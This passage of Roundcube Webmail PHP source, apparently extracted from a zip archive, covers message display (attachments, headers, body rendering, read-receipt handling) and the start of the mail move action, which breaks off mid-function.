                $rcmail->config->set('prefer_html', $_SESSION['msg_formats'][$mbox_name.':'.$uid]);
            }

            $MESSAGE = new rcube_message($msg_id, $mbox_name, !empty($_GET['_safe']));

            self::$MESSAGE = $MESSAGE;

            // if message not found (wrong UID)...
            if (empty($MESSAGE->headers)) {
                self::message_error();
            }

            self::$CLIENT_MIMETYPES = self::supported_mimetypes();

            // show images?
            self::check_safe($MESSAGE);

            // set message charset as default
            if (!empty($MESSAGE->headers->charset)) {
                $rcmail->storage->set_charset($MESSAGE->headers->charset);
            }

            if (!isset($_SESSION['writeable_abook'])) {
                $_SESSION['writeable_abook'] = $rcmail->get_address_sources(true) ? true : false;
            }

            $rcmail->output->set_pagetitle(abbreviate_string($MESSAGE->subject, 128, '...', true));

            // set environment
            $rcmail->output->set_env('uid', $msg_id);
            $rcmail->output->set_env('safemode', $MESSAGE->is_safe);
            $rcmail->output->set_env('message_context', $MESSAGE->context);
            $rcmail->output->set_env('message_flags', array_keys(array_change_key_case((array) $MESSAGE->headers->flags)));
            $rcmail->output->set_env('sender', !empty($MESSAGE->sender) ? $MESSAGE->sender['string'] : '');
            $rcmail->output->set_env('mailbox', $mbox_name);
            $rcmail->output->set_env('username', $rcmail->get_user_name());
            $rcmail->output->set_env('permaurl', $rcmail->url(['_action' => 'show', '_uid' => $msg_id, '_mbox' => $mbox_name]));
            $rcmail->output->set_env('has_writeable_addressbook', $_SESSION['writeable_abook']);
            $rcmail->output->set_env('delimiter', $rcmail->storage->get_hierarchy_delimiter());
            $rcmail->output->set_env('mimetypes', self::$CLIENT_MIMETYPES);

            if ($MESSAGE->headers->get('list-post', false)) {
                $rcmail->output->set_env('list_post', true);
            }

            // set configuration
            self::set_env_config(['delete_junk', 'flag_for_deletion', 'read_when_deleted',
                'skip_deleted', 'display_next', 'forward_attachment', 'mailvelope_main_keyring']);

            // set special folders
            foreach (['drafts', 'trash', 'junk'] as $mbox) {
                if ($folder = $rcmail->config->get($mbox . '_mbox')) {
                    $rcmail->output->set_env($mbox . '_mailbox', $folder);
                }
            }

            if ($MESSAGE->has_html_part()) {
                $prefer_html = $rcmail->config->get('prefer_html');
                $rcmail->output->set_env('optional_format', $prefer_html ? 'text' : 'html');
            }

            $rcmail->output->add_label('checkingmail', 'deletemessage', 'movemessagetotrash',
                'movingmessage', 'deletingmessage', 'markingmessage', 'replyall', 'replylist',
                'bounce', 'bouncemsg', 'sendingmessage');

            // check for unset disposition notification
            self::mdn_request_handler($MESSAGE);

            if (empty($MESSAGE->headers->flags['SEEN']) && $MESSAGE->context === null) {
                $v = intval($rcmail->config->get('mail_read_time'));
                if ($v > 0) {
                    $rcmail->output->set_env('mail_read_time', $v);
                }
                else if ($v == 0) {
                    $rcmail->output->command('set_unread_message', $MESSAGE->uid, $mbox_name);
                    $rcmail->plugins->exec_hook('message_read', [
                            'uid'     => $MESSAGE->uid,
                            'mailbox' => $mbox_name,
                            'message' => $MESSAGE,
                    ]);

                    $set_seen_flag = true;
                }
            }
        }

        $rcmail->output->add_handlers([
                'mailboxname'        => [$this, 'mailbox_name_display'],
                'messageattachments' => [$this, 'message_attachments'],
                'messageobjects'     => [$this, 'message_objects'],
                'messagesummary'     => [$this, 'message_summary'],
                'messageheaders'     => [$this, 'message_headers'],
                'messagefullheaders' => [$this, 'message_full_headers'],
                'messagebody'        => [$this, 'message_body'],
                'contactphoto'       => [$this, 'message_contactphoto'],
        ]);

        if ($rcmail->action == 'print' && $rcmail->output->template_exists('messageprint')) {
            $rcmail->output->send('messageprint', false);
        }
        else if ($rcmail->action == 'preview' && $rcmail->output->template_exists('messagepreview')) {
            $rcmail->output->send('messagepreview', false);
        }
        else {
            $rcmail->output->send('message', false);
        }

        // mark message as read
        if (!empty($set_seen_flag)) {
            if ($rcmail->storage->set_flag(self::$MESSAGE->uid, 'SEEN', $mbox_name)) {
                if ($count = self::get_unseen_count($mbox_name)) {
                    self::set_unseen_count($mbox_name, $count - 1);
                }
            }
        }

        exit;
    }

    /**
     * Handler for the template object 'messageattachments'.
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML content showing the message attachments list
     */
    public static function message_attachments($attrib)
    {
        if (empty(self::$MESSAGE->attachments)) {
            return '';
        }

        $rcmail = rcmail::get_instance();
        $out    =
        $ol     = '';
        $attachments = [];

        foreach (self::$MESSAGE->attachments as $attach_prop) {
            $filename = self::attachment_name($attach_prop, true);
            $filesize = self::message_part_size($attach_prop);
            $mimetype = rcube_mime::fix_mimetype($attach_prop->mimetype);
            $class    = rcube_utils::file2class($mimetype, $filename);
            $id       = 'attach' . $attach_prop->mime_id;

            if ($mimetype == 'application/octet-stream' && ($type = rcube_mime::file_ext_type($filename))) {
                $mimetype = $type;
            }

            // Skip inline images
            if (strpos($mimetype, 'image/') === 0 && !self::is_attachment(self::$MESSAGE, $attach_prop)) {
                continue;
            }

            if (!empty($attrib['maxlength']) && mb_strlen($filename) > $attrib['maxlength']) {
                $title    = $filename;
                $filename = abbreviate_string($filename, $attrib['maxlength']);
            }
            else {
                $title = '';
            }

            $item = html::span('attachment-name', rcube::Q($filename))
                . html::span('attachment-size', '(' . rcube::Q($filesize) . ')');

            $li_class = $class;

            if (!self::$PRINT_MODE) {
                $link_attrs = [
                    'href'        => self::$MESSAGE->get_part_url($attach_prop->mime_id, false),
                    'onclick'     => sprintf('%s.command(\'load-attachment\',\'%s\',this); return false',
                        rcmail_output::JS_OBJECT_NAME, $attach_prop->mime_id),
                    'onmouseover' => $title ? '' : 'rcube_webmail.long_subject_title_ex(this, 0)',
                    'title'       => $title,
                    'class'       => 'filename',
                ];

                if ($mimetype != 'message/rfc822' && empty($attach_prop->size)) {
                    $li_class .= ' no-menu';
                    $link_attrs['onclick'] = sprintf('%s.alert_dialog(%s.get_label(\'emptyattachment\')); return false',
                            rcmail_output::JS_OBJECT_NAME, rcmail_output::JS_OBJECT_NAME);
                    $rcmail->output->add_label('emptyattachment');
                }

                $item = html::a($link_attrs, $item);
                $attachments[$attach_prop->mime_id] = $mimetype;
            }

            $ol .= html::tag('li', ['class' => $li_class, 'id' => $id], $item);
        }

        $out = html::tag('ul', $attrib, $ol, html::$common_attrib);

        $rcmail->output->set_env('attachments', $attachments);
        $rcmail->output->add_gui_object('attachments', $attrib['id']);

        return $out;
    }

    public static function remote_objects_msg()
    {
        $rcmail = rcmail::get_instance();

        $attrib['id']    = 'remote-objects-message';
        $attrib['class'] = 'notice';
        $attrib['style'] = 'display: none';

        $msg = html::span(null, rcube::Q($rcmail->gettext('blockedresources')));

        $buttons = html::a([
                'href'    => "#loadremote",
                'onclick' => rcmail_output::JS_OBJECT_NAME . ".command('load-remote')"
            ],
            rcube::Q($rcmail->gettext('allow'))
        );

        // add link to save sender in addressbook and reload message
        $show_images = $rcmail->config->get('show_images');
        if (!empty(self::$MESSAGE->sender['mailto']) && ($show_images == 1 || $show_images == 3)) {
            $arg = $show_images == 3 ? rcube_addressbook::TYPE_TRUSTED_SENDER : 'true';
            $buttons .= ' ' . html::a([
                    'href'    => "#loadremotealways",
                    'onclick' => rcmail_output::JS_OBJECT_NAME . ".command('load-remote', $arg)",
                    'style'   => "white-space:nowrap"
                ],
                rcube::Q($rcmail->gettext(['name' => 'alwaysallow', 'vars' => ['sender' => self::$MESSAGE->sender['mailto']]]))
            );
        }

        $rcmail->output->add_gui_object('remoteobjectsmsg', $attrib['id']);

        return html::div($attrib, $msg . '&nbsp;' . html::span('boxbuttons', $buttons));
    }

    /**
     * Display a warning whenever a suspicious email address has been found in the message.
     *
     * @return string HTML content of the warning element
     */
    public static function suspicious_content_warning()
    {
        if (empty(self::$SUSPICIOUS_EMAIL)) {
            return '';
        }

        $rcmail = rcmail::get_instance();

        $attrib = [
            'id'    => 'suspicious-content-message',
            'class' => 'notice',
        ];

        $msg = html::span(null, rcube::Q($rcmail->gettext('suspiciousemail')));

        return html::div($attrib, $msg);
    }

    public static function message_buttons()
    {
        $rcmail = rcmail::get_instance();
        $delim  = $rcmail->storage->get_hierarchy_delimiter();
        $dbox   = $rcmail->config->get('drafts_mbox');

        // the message is not a draft
        if (!empty(self::$MESSAGE->context)
            || (
                !empty(self::$MESSAGE->folder)
                && (self::$MESSAGE->folder != $dbox && strpos(self::$MESSAGE->folder, $dbox.$delim) !== 0)
            )
        ) {
            return '';
        }

        $attrib['id']    = 'message-buttons';
        $attrib['class'] = 'information notice';

        $msg = html::span(null, rcube::Q($rcmail->gettext('isdraft')))
            . '&nbsp;'
            . html::a([
                    'href'    => "#edit",
                    'onclick' => rcmail_output::JS_OBJECT_NAME.".command('edit')"
                ],
                rcube::Q($rcmail->gettext('edit'))
            );

        return html::div($attrib, $msg);
    }

    /**
     * Handler for the template object 'messageobjects' that contains
     * warning/info boxes, buttons, etc. related to the displayed message.
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML content showing the message objects
     */
    public static function message_objects($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'message-objects';
        }

        $rcmail  = rcmail::get_instance();
        $content = [
            self::message_buttons(),
            self::remote_objects_msg(),
            self::suspicious_content_warning(),
        ];

        $plugin = $rcmail->plugins->exec_hook('message_objects',
            ['content' => $content, 'message' => self::$MESSAGE]);

        $content = implode("\n", $plugin['content']);

        return html::div($attrib, $content);
    }

    /**
     * Handler for the template object 'contactphoto'.
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML content for the IMG tag
     */
    public static function message_contactphoto($attrib)
    {
        $rcmail        = rcmail::get_instance();
        $error_handler = false;
        $placeholder   = 'data:image/gif;base64,' . rcmail_output::BLANK_GIF;

        if (!empty($attrib['placeholder'])) {
            $placeholder = $rcmail->output->abs_url($attrib['placeholder'], true);
            $placeholder = $rcmail->output->asset_url($placeholder);

            // set error handler on <img>
            $error_handler     = true;
            $attrib['onerror'] = "this.onerror = null; this.src = '$placeholder';";
        }

        if (!empty(self::$MESSAGE->sender)) {
            $photo_img = $rcmail->url([
                    '_task'   => 'addressbook',
                    '_action' => 'photo',
                    '_email'  => self::$MESSAGE->sender['mailto'],
                    '_error'  => $error_handler ? 1 : null,
                    '_bgcolor' => $attrib['bg-color'] ?? null
            ]);
        }
        else {
            $photo_img = $placeholder;
        }

        return html::img(['src' => $photo_img, 'alt' => $rcmail->gettext('contactphoto')] + $attrib);
    }

    /**
     * Returns table with message headers
     */
    public static function message_headers($attrib, $headers = null)
    {
        static $sa_attrib;

        // keep header table attrib
        if (is_array($attrib) && !$sa_attrib && empty($attrib['valueof'])) {
            $sa_attrib = $attrib;
        }
        else if (!is_array($attrib) && is_array($sa_attrib)) {
            $attrib = $sa_attrib;
        }

        if (!isset(self::$MESSAGE)) {
            return false;
        }

        $rcmail = rcmail::get_instance();

        // get associative array of headers object
        if (!$headers) {
            $headers_obj = self::$MESSAGE->headers;
            $headers     = get_object_vars(self::$MESSAGE->headers);
        }
        else if (is_object($headers)) {
            $headers_obj = $headers;
            $headers     = get_object_vars($headers_obj);
        }
        else {
            $headers_obj = rcube_message_header::from_array($headers);
        }

        // show these headers
        $standard_headers = ['subject', 'from', 'sender', 'to', 'cc', 'bcc', 'replyto',
            'mail-reply-to', 'mail-followup-to', 'date', 'priority'];
        $exclude_headers = !empty($attrib['exclude']) ? explode(',', $attrib['exclude']) : [];
        $output_headers  = [];

        $attr_max     = $attrib['max'] ?? null;
        $attr_addicon = $attrib['addicon'] ?? null;
        $charset      = !empty($headers['charset']) ? $headers['charset'] : null;

        foreach ($standard_headers as $hkey) {
            $value = null;
            if (!empty($headers[$hkey])) {
                $value = $headers[$hkey];
            }
            else if (!empty($headers['others'][$hkey])) {
                $value = $headers['others'][$hkey];
            }
            else if (empty($attrib['valueof'])) {
                continue;
            }

            if (in_array($hkey, $exclude_headers)) {
                continue;
            }

            $ishtml       = false;
            $header_title = $rcmail->gettext(preg_replace('/(^mail-|-)/', '', $hkey));
            $header_value = null;

            if ($hkey == 'date') {
                $header_value = $rcmail->format_date($value,
                    self::$PRINT_MODE ? $rcmail->config->get('date_long', 'x') : null);
            }
            else if ($hkey == 'priority') {
                $header_value = html::span('prio' . $value, rcube::Q(self::localized_priority($value)));
                $ishtml       = true;
            }
            else if ($hkey == 'replyto') {
                if ($value != $headers['from']) {
                    $header_value = self::address_string($value, $attr_max, true, $attr_addicon, $charset, $header_title);
                    $ishtml = true;
                }
            }
            else if ($hkey == 'mail-reply-to') {
                if ((!isset($headers['replyto']) || $value != $headers['replyto']) && $value != $headers['from']) {
                    $header_value = self::address_string($value, $attr_max, true, $attr_addicon, $charset, $header_title);
                    $ishtml = true;
                }
            }
            else if ($hkey == 'sender') {
                if ($value != $headers['from']) {
                    $header_value = self::address_string($value, $attr_max, true, $attr_addicon, $charset, $header_title);
                    $ishtml = true;
                }
            }
            else if ($hkey == 'mail-followup-to') {
                $header_value = self::address_string($value, $attr_max, true, $attr_addicon, $charset, $header_title);
                $ishtml = true;
            }
            else if (in_array($hkey, ['from', 'to', 'cc', 'bcc'])) {
                $header_value = self::address_string($value, $attr_max, true, $attr_addicon, $charset, $header_title);
                $ishtml = true;
            }
            else if ($hkey == 'subject' && empty($value)) {
                $header_value = $rcmail->gettext('nosubject');
            }
            else {
                $value        = is_array($value) ? implode(' ', $value) : $value;
                $header_value = trim(rcube_mime::decode_header($value, $charset));
            }

            if (empty($header_value)) {
                continue;
            }

            $output_headers[$hkey] = [
                'title' => $header_title,
                'value' => $header_value,
                'raw'   => $value,
                'html'  => $ishtml,
            ];
        }

        $plugin = $rcmail->plugins->exec_hook('message_headers_output', [
                'output'  => $output_headers,
                'headers' => $headers_obj,
                'exclude' => $exclude_headers,       // readonly
                'folder'  => self::$MESSAGE->folder, // readonly
                'uid'     => self::$MESSAGE->uid,    // readonly
        ]);

        // single header value is requested
        if (!empty($attrib['valueof'])) {
            if (empty($plugin['output'][$attrib['valueof']])) {
                return '';
            }

            $row = $plugin['output'][$attrib['valueof']];
            return !empty($row['html']) ? $row['value'] : rcube::SQ($row['value']);
        }

        // compose html table
        $table = new html_table(['cols' => 2]);

        foreach ($plugin['output'] as $hkey => $row) {
            $val = !empty($row['html']) ? $row['value'] : rcube::SQ($row['value']);

            $table->add(['class' => 'header-title'], rcube::SQ($row['title']));
            $table->add(['class' => 'header ' . $hkey], $val);
        }

        return $table->show($attrib);
    }

    /**
     * Returns element with "From|To <sender|recipient> on <date>"
     */
    public static function message_summary($attrib)
    {
        if (!isset(self::$MESSAGE) || empty(self::$MESSAGE->headers)) {
            return;
        }

        $rcmail = rcmail::get_instance();
        $header = self::$MESSAGE->context ? 'from' : self::message_list_smart_column_name();
        $label  = 'shortheader' . $header;
        $date   = $rcmail->format_date(self::$MESSAGE->headers->date, $rcmail->config->get('date_long', 'x'));
        $user   = self::$MESSAGE->headers->$header;

        if (!$user && $header == 'to' && !empty(self::$MESSAGE->headers->cc)) {
            $user = self::$MESSAGE->headers->cc;
        }
        if (!$user && $header == 'to' && !empty(self::$MESSAGE->headers->bcc)) {
            $user = self::$MESSAGE->headers->bcc;
        }

        $vars[$header] = self::address_string($user, 1, true, $attrib['addicon'], self::$MESSAGE->headers->charset);
        $vars['date']  = html::span('text-nowrap', $date);

        if (empty($user)) {
            $label = 'shortheaderdate';
        }

        $out = html::span(null, $rcmail->gettext(['name' => $label, 'vars' => $vars]));

        return html::div($attrib, $out);
    }

    /**
     * Convert Priority header value into a localized string
     */
    public static function localized_priority($value)
    {
        $labels_map = [
            '1' => 'highest',
            '2' => 'high',
            '3' => 'normal',
            '4' => 'low',
            '5' => 'lowest',
        ];

        if ($value && !empty($labels_map[$value])) {
            return rcmail::get_instance()->gettext($labels_map[$value]);
        }

        return '';
    }

    /**
     * Returns block to show full message headers
     */
    public static function message_full_headers($attrib)
    {
        $rcmail = rcmail::get_instance();

        $html = html::div(['id' => "all-headers", 'class' => "all", 'style' => 'display:none'],
            html::div(['id' => 'headers-source'], ''));

        $html .= html::div([
                'class'   => "more-headers show-headers",
                'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".command('show-headers','',this)",
                'title'   => $rcmail->gettext('togglefullheaders')
            ], '');

        $rcmail->output->add_gui_object('all_headers_row', 'all-headers');
        $rcmail->output->add_gui_object('all_headers_box', 'headers-source');

        return html::div($attrib, $html);
    }

    /**
     * Handler for the 'messagebody' GUI object
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML content showing the message body
     */
    public static function message_body($attrib)
    {
        if (
            empty(self::$MESSAGE)
            || (!is_array(self::$MESSAGE->parts) && empty(self::$MESSAGE->body))
        ) {
            return '';
        }

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmailMsgBody';
        }

        $rcmail    = rcmail::get_instance();
        $safe_mode = self::$MESSAGE->is_safe || !empty($_GET['_safe']);
        $out       = '';
        $part_no   = 0;

        $header_attrib = [];
        foreach ($attrib as $attr => $value) {
            if (preg_match('/^headertable([a-z]+)$/i', $attr, $regs)) {
                $header_attrib[$regs[1]] = $value;
            }
        }

        if (!empty(self::$MESSAGE->parts)) {
            foreach (self::$MESSAGE->parts as $part) {
                if ($part->type == 'headers') {
                    $out .= html::div('message-partheaders', self::message_headers(count($header_attrib) ? $header_attrib : null, $part->headers));
                }
                else if ($part->type == 'content') {
                    // unsupported (e.g. encrypted)
                    if (!empty($part->realtype)) {
                        if ($part->realtype == 'multipart/encrypted' || $part->realtype == 'application/pkcs7-mime') {
                            if (
                                !empty($_SESSION['browser_caps']['pgpmime'])
                                && ($pgp_mime_part = self::$MESSAGE->get_multipart_encrypted_part())
                            ) {
                                $out .= html::span('part-notice', $rcmail->gettext('externalmessagedecryption'));
                                $rcmail->output->set_env('pgp_mime_part', $pgp_mime_part->mime_id);
                                $rcmail->output->set_env('pgp_mime_container', '#' . $attrib['id']);
                                $rcmail->output->add_label('loadingdata');
                            }

                            if (!self::$MESSAGE->encrypted_part) {
                                $out .= html::span('part-notice', $rcmail->gettext('encryptedmessage'));
                            }
                        }
                        continue;
                    }
                    else if (!$part->size) {
                        continue;
                    }
                    // Check if we have enough memory to handle the message in it
                    // #1487424: we need up to 10x more memory than the body
                    else if (!rcube_utils::mem_check($part->size * 10)) {
                        $out .= self::part_too_big_message(self::$MESSAGE, $part->mime_id);
                        continue;
                    }

                    // fetch part body
                    $body = self::$MESSAGE->get_part_body($part->mime_id, true);

                    // message is cached but not exists (#1485443), or other error
                    if ($body === false) {
                        // Don't bail out if it is only one-of-many part of the message (#6854)
                        if (strlen($out)) {
                            $out .= html::span('part-notice', $rcmail->gettext('messageopenerror'));
                            continue;
                        }

                        self::message_error();
                    }

                    $plugin = $rcmail->plugins->exec_hook('message_body_prefix',
                        ['part' => $part, 'prefix' => '', 'message' => self::$MESSAGE]);

                    // Set attributes of the part container
                    $container_class  = $part->ctype_secondary == 'html' ? 'message-htmlpart' : 'message-part';
                    $container_id     = $container_class . (++$part_no);
                    $container_attrib = ['class' => $container_class, 'id' => $container_id];

                    $body_args = [
                        'safe'         => $safe_mode,
                        'plain'        => !$rcmail->config->get('prefer_html'),
                        'css_prefix'   => 'v' . $part_no,
                        'body_class'   => 'rcmBody',
                        'container_id'     => $container_id,
                        'container_attrib' => $container_attrib,
                    ];

                    // Parse the part content for display
                    $body = self::print_body($body, $part, $body_args);

                    // check if the message body is PGP encrypted
                    if (strpos($body, '-----BEGIN PGP MESSAGE-----') !== false) {
                        $rcmail->output->set_env('is_pgp_content', '#' . $container_id);
                    }

                    if ($part->ctype_secondary == 'html') {
                        $body = self::html4inline($body, $body_args);
                    }

                    $out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
                }
            }
        }
        else {
            // Check if we have enough memory to handle the message in it
            // #1487424: we need up to 10x more memory than the body
            if (isset(self::$MESSAGE->body) && !rcube_utils::mem_check(strlen(self::$MESSAGE->body) * 10)) {
                $out .= self::part_too_big_message(self::$MESSAGE, 0);
            }
            else {
                $plugin = $rcmail->plugins->exec_hook('message_body_prefix',
                    ['part' => self::$MESSAGE, 'prefix' => '']);

                $out .= html::div('message-part',
                    $plugin['prefix'] . self::plain_body(self::$MESSAGE->body));
            }
        }

        // list images after mail body
        if ($rcmail->config->get('inline_images', true) && !empty(self::$MESSAGE->attachments)) {
            $thumbnail_size   = $rcmail->config->get('image_thumbnail_size', 240);
            $show_label       = rcube::Q($rcmail->gettext('showattachment'));
            $download_label   = rcube::Q($rcmail->gettext('download'));

            foreach (self::$MESSAGE->attachments as $attach_prop) {
                // Content-Type: image/*...
                if ($mimetype = self::part_image_type($attach_prop)) {
                    // Skip inline images
                    if (!self::is_attachment(self::$MESSAGE, $attach_prop)) {
                        continue;
                    }

                    // display thumbnails
                    if ($thumbnail_size) {
                        $supported = in_array($mimetype, self::$CLIENT_MIMETYPES);
                        $show_link_attr = [
                            'href'    => self::$MESSAGE->get_part_url($attach_prop->mime_id, false),
                            'onclick' => sprintf(
                                '%s.command(\'load-attachment\',\'%s\',this); return false',
                                rcmail_output::JS_OBJECT_NAME,
                                $attach_prop->mime_id
                            )
                        ];
                        $download_link_attr = [
                            'href'  => $show_link_attr['href'] . '&_download=1',
                        ];
                        $show_link     = html::a($show_link_attr + ['class' => 'open'], $show_label);
                        $download_link = html::a($download_link_attr + ['class' => 'download'], $download_label);

                        $out .= html::p(['class' => 'image-attachment', 'style' => $supported ? '' : 'display:none'],
                            html::a($show_link_attr + ['class' => 'image-link', 'style' => sprintf('width:%dpx', $thumbnail_size)],
                                html::img([
                                    'class' => 'image-thumbnail',
                                    'src'   => self::$MESSAGE->get_part_url($attach_prop->mime_id, 'image') . '&_thumb=1',
                                    'title' => $attach_prop->filename,
                                    'alt'   => $attach_prop->filename,
                                    'style' => sprintf('max-width:%dpx; max-height:%dpx', $thumbnail_size, $thumbnail_size),
                                    'onload' => $supported ? '' : '$(this).parents(\'p.image-attachment\').show()',
                                ])
                            ) .
                            html::span('image-filename', rcube::Q($attach_prop->filename)) .
                            html::span('image-filesize', rcube::Q(self::message_part_size($attach_prop))) .
                            html::span('attachment-links', ($supported ? $show_link . '&nbsp;' : '') . $download_link) .
                            html::br(['style' => 'clear:both'])
                        );
                    }
                    else {
                        $out .= html::tag('fieldset', 'image-attachment',
                            html::tag('legend', 'image-filename', rcube::Q($attach_prop->filename)) .
                            html::p(['align' => 'center'],
                                html::img([
                                    'src'   => self::$MESSAGE->get_part_url($attach_prop->mime_id, 'image'),
                                    'title' => $attach_prop->filename,
                                    'alt'   => $attach_prop->filename,
                                ])
                            )
                        );
                    }
                }
            }
        }

        // tell client that there are blocked remote objects
        if (self::$REMOTE_OBJECTS && !$safe_mode) {
            $rcmail->output->set_env('blockedobjects', true);
        }

        $rcmail->output->add_gui_object('messagebody', $attrib['id']);

        return html::div($attrib, $out);
    }

    /**
     * Returns a HTML notice element for too big message parts
     *
     * @param rcube_message $message Email message object
     * @param string        $part_id Message part identifier
     *
     * @return string HTML content
     */
    public static function part_too_big_message($message, $part_id)
    {
        $rcmail = rcmail::get_instance();
        $token  = $rcmail->get_request_token();
        $url    = $rcmail->url([
                'task'     => 'mail',
                'action'   => 'get',
                'download' => 1,
                'uid'      => $message->uid,
                'part'     => $part_id,
                'mbox'     => $message->folder,
                'token'    => $token,
        ]);

        return html::span('part-notice', $rcmail->gettext('messagetoobig')
            . '&nbsp;' . html::a($url, $rcmail->gettext('download')));
    }

    /**
     * Handle disposition notification requests
     *
     * @param rcube_message $message Email message object
     */
    public static function mdn_request_handler($message)
    {
        $rcmail = rcmail::get_instance();

        if ($message->headers->mdn_to
            && $message->context === null
            && !empty($message->sender['mailto'])
            && empty($message->headers->flags['MDNSENT'])
            && empty($message->headers->flags['SEEN'])
            && ($rcmail->storage->check_permflag('MDNSENT') || $rcmail->storage->check_permflag('*'))
            && $message->folder != $rcmail->config->get('drafts_mbox')
            && $message->folder != $rcmail->config->get('sent_mbox')
        ) {
            $mdn_cfg = intval($rcmail->config->get('mdn_requests'));
            $exists  = $mdn_cfg == 1;

            // Check sender existence in contacts
            // 3 and 4 = my contacts, 5 and 6 = trusted senders
            if ($mdn_cfg == 3 || $mdn_cfg == 4 || $mdn_cfg == 5 || $mdn_cfg == 6) {
                $type = rcube_addressbook::TYPE_TRUSTED_SENDER;

                if ($mdn_cfg == 3 || $mdn_cfg == 4) {
                    $type |= rcube_addressbook::TYPE_WRITEABLE | rcube_addressbook::TYPE_RECIPIENT;
                }

                if ($rcmail->contact_exists($message->sender['mailto'], $type)) {
                    $exists = 1;
                }
            }

            if ($exists) {
                // Send MDN
                if (rcmail_action_mail_sendmdn::send_mdn($message, $smtp_error)) {
                    $rcmail->output->show_message('receiptsent', 'confirmation');
                }
                else if ($smtp_error && is_string($smtp_error)) {
                    $rcmail->output->show_message($smtp_error, 'error');
                }
                else if ($smtp_error && !empty($smtp_error['label'])) {
                    $rcmail->output->show_message($smtp_error['label'], 'error', $smtp_error['vars']);
                }
                else {
                    $rcmail->output->show_message('errorsendingreceipt', 'error');
                }
            }
            else if ($mdn_cfg != 2 && $mdn_cfg != 4 && $mdn_cfg != 6) {
                // Ask the user
                $rcmail->output->add_label('sendreceipt', 'mdnrequest', 'send', 'sendalwaysto', 'ignore');
                $rcmail->output->set_env('mdn_request_save', $mdn_cfg == 3 || $mdn_cfg == 5 ? $mdn_cfg : 0);
                $rcmail->output->set_env('mdn_request_sender', $message->sender);
                $rcmail->output->set_env('mdn_request', true);
            }
        }
    }

    /**
     * Check whether the message part is a normal attachment
     *
     * @param rcube_message      $message Message object
     * @param rcube_message_part $part    Message part
     *
     * @return bool
     */
    protected static function is_attachment($message, $part)
    {
        // Inline attachment with Content-Id specified
        if (!empty($part->content_id) && $part->disposition == 'inline') {
            return false;
        }

        // Any image attached to multipart/related message (#7184)
        $parent_id = preg_replace('/\.[0-9]+$/', '', $part->mime_id);
        $parent = $message->mime_parts[$parent_id] ?? null;

        if ($parent && $parent->mimetype == 'multipart/related') {
            return false;
        }

        return true;
    }
}
PK
h�\8��WWprogram/actions/mail/move.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handler for mail move operation                                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_move extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // count messages before changing anything
        $threading = (bool) $rcmail->storage->get_threading();
        $trash     = $rcmail->config->get('trash_mbox');
        $old_count = 0;

        if (empty($_POST['_from']) || $_POST['_from'] != 'show') {
            $old_count = $rcmail->storage->count(null, $threading ? 'THREADS' : 'ALL');
        }

        $target  = rcube_utils::get_input_string('_target_mbox', rcube_utils::INPUT_POST, true);

        if (empty($_POST['_uid']) || !strlen($target)) {
            $rcmail->output->show_message('internalerror', 'error');
            $rcmail->output->send();
        }

        $success = true;
        $addrows = false;
        $count   = 0;
        $sources = [];

        foreach (rcmail::get_uids(null, null, $multifolder, rcube_utils::INPUT_POST) as $mbox => $uids) {
            if ($mbox === $target) {
                $count += is_array($uids) ? count($uids) : 1;
            }
            else if ($rcmail->storage->move_message($uids, $target, $mbox)) {
                $count += is_array($uids) ? count($uids) : 1;
                $sources[] = $mbox;
            }
            else {
                $success = false;
            }
        }

        if (!$success) {
            // send error message
            if (empty($_POST['_from']) || $_POST['_from'] != 'show') {
                $rcmail->output->command('list_mailbox');
            }

            self::display_server_error('errormoving', null, $target == $trash ? 'delete' : '');
            $rcmail->output->send();
        }
        else {
            $rcmail->output->show_message($target == $trash ? 'messagemovedtotrash' : 'messagemoved', 'confirmation');
        }

        if (!empty($_POST['_refresh'])) {
            // FIXME: send updated message rows instead of reloading the entire list
            $rcmail->output->command('refresh_list');
        }
        else {
            $addrows = true;
        }

        $search_request = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC);

        // refresh saved search set after moving some messages
        if ($search_request && $rcmail->storage->get_search_set()) {
            $_SESSION['search'] = $rcmail->storage->refresh_search();
        }

        if (!empty($_POST['_from']) && $_POST['_from'] == 'show') {
            if ($next = rcube_utils::get_input_string('_next_uid', rcube_utils::INPUT_GPC)) {
                $rcmail->output->command('show_message', $next);
            }
            else {
                $rcmail->output->command('command', 'list');
            }

            $rcmail->output->send();
        }

        $mbox           = $rcmail->storage->get_folder();
        $msg_count      = $rcmail->storage->count(null, $threading ? 'THREADS' : 'ALL');
        $exists         = $rcmail->storage->count($mbox, 'EXISTS', true);
        $page_size      = $rcmail->storage->get_pagesize();
        $page           = $rcmail->storage->get_page();
        $pages          = ceil($msg_count / $page_size);
        $nextpage_count = $old_count - $page_size * $page;
        $remaining      = $msg_count - $page_size * ($page - 1);

        // jump back one page (user removed the whole last page)
        if ($page > 1 && $remaining == 0) {
            $page -= 1;
            $rcmail->storage->set_page($page);
            $_SESSION['page'] = $page;
            $jump_back = true;
        }

        // update unseen messages counts for all involved folders
        foreach ($sources as $source) {
            self::send_unread_count($source, true);
        }

        self::send_unread_count($target, true);

        // update message count display
        $rcmail->output->set_env('messagecount', $msg_count);
        $rcmail->output->set_env('current_page', $page);
        $rcmail->output->set_env('pagecount', $pages);
        $rcmail->output->set_env('exists', $exists);
        $rcmail->output->command('set_quota', self::quota_content(null, $multifolder ? $sources[0] : 'INBOX'));
        $rcmail->output->command('set_rowcount', self::get_messagecount_text($msg_count), $mbox);

        if ($threading) {
